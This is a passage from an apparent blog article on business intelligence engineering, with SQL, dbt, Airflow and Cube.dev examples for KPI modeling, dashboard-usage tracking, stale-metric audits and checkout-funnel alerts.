( SELECT *, ROW_NUMBER() OVER (PARTITION BY user_id ORDER BY event_timestamp DESC) AS rn FROM raw_events ) SELECT user_id, event_type, event_timestamp FROM ranked_events WHERE rn = 1; 2. Modeling Business KPIs in dbt: Business-level KPIs need consistent, traceable definitions. In dbt, we might define a revenue-per-cohort model as follows: SQL -- models/revenue_per_user.sql SELECT cohort_month, SUM(revenue) / NULLIF(COUNT(DISTINCT user_id), 0) AS revenue_per_user FROM {{ ref('cleaned_revenue_data') } GROUP BY cohort_month; And the accompanying schema tests help enforce data trust: YAML version: 2 models: - name: revenue_per_user tests: - not_null: - cohort_month - revenue_per_user - accepted_values: column_name: cohort_month values: ['2024-01', '2024-02', '2024-03'] Treat BI Like a Product: Users, Feedback, Iteration When BI is treated like a living system, not a static output, teams start optimizing for usage, clarity, and iteration. For instance, to track dashboard adoption: SQL SELECT dashboard_id, COUNT(DISTINCT user_id) AS viewers, AVG(session_duration) AS avg_time_spent, MAX(last_accessed) AS last_used FROM dashboard_logs GROUP BY dashboard_id ORDER BY viewers DESC; This data informs which assets should be retired, split, or iterated upon. When usage drops, it’s often a signal that the dashboard no longer answers the right questions. Mindset Over Toolset Ultimately, tooling alone doesn’t drive impact, clarity, iteration, and alignment do. This mindset shift is essential for any modern BI engineer. To support that, we regularly audit our metric catalogs: SQL SELECT metric_name, COUNT(*) AS usage_count, MAX(last_viewed_at) AS recent_use FROM metrics_metadata GROUP BY metric_name HAVING usage_count < 10; This simple query often uncovers stale metrics that confuse rather than clarify. The Architecture of Context: A Visual Walkthrough Here’s how well-structured BI pipelines tie it all together: Plain Text Data Sources ↓ ETL (Airflow, SQL) ↓ Semantic Layer (dbt, Python) ↓ Reporting Layer (Tableau, Qlik) ↓ Alerts & Feedback (Slack, Email) Let’s imagine you want to monitor funnel health. The detection logic might look like this: SQL SELECT funnel_step, COUNT(user_id) AS users FROM funnel_data GROUP BY funnel_step HAVING funnel_step = 'checkout' AND COUNT(user_id) < 1000; Once an anomaly is found, triggering an alert through Airflow keeps stakeholders in sync: Python from airflow.operators.email_operator import EmailOperator alert = EmailOperator( task_id='notify_low_checkout', to='[email protected]', subject='Checkout Drop Alert', html_content='User drop detected at checkout stage.', dag=dag ) The Future of Bi Is Invisible, but Influential BI is increasingly becoming modular, declarative, and headless. Metric layer tools like Cube.dev allow teams to define reusable KPIs that work across multiple surfaces. YAML cubes: - name: Revenue measures: - name: totalRevenue sql: SUM(${CUBE}.amount) This promotes consistency, reduces duplication, and enhances governance across teams. That’s the future of BI. Not just visual. Not just functional. But consequential.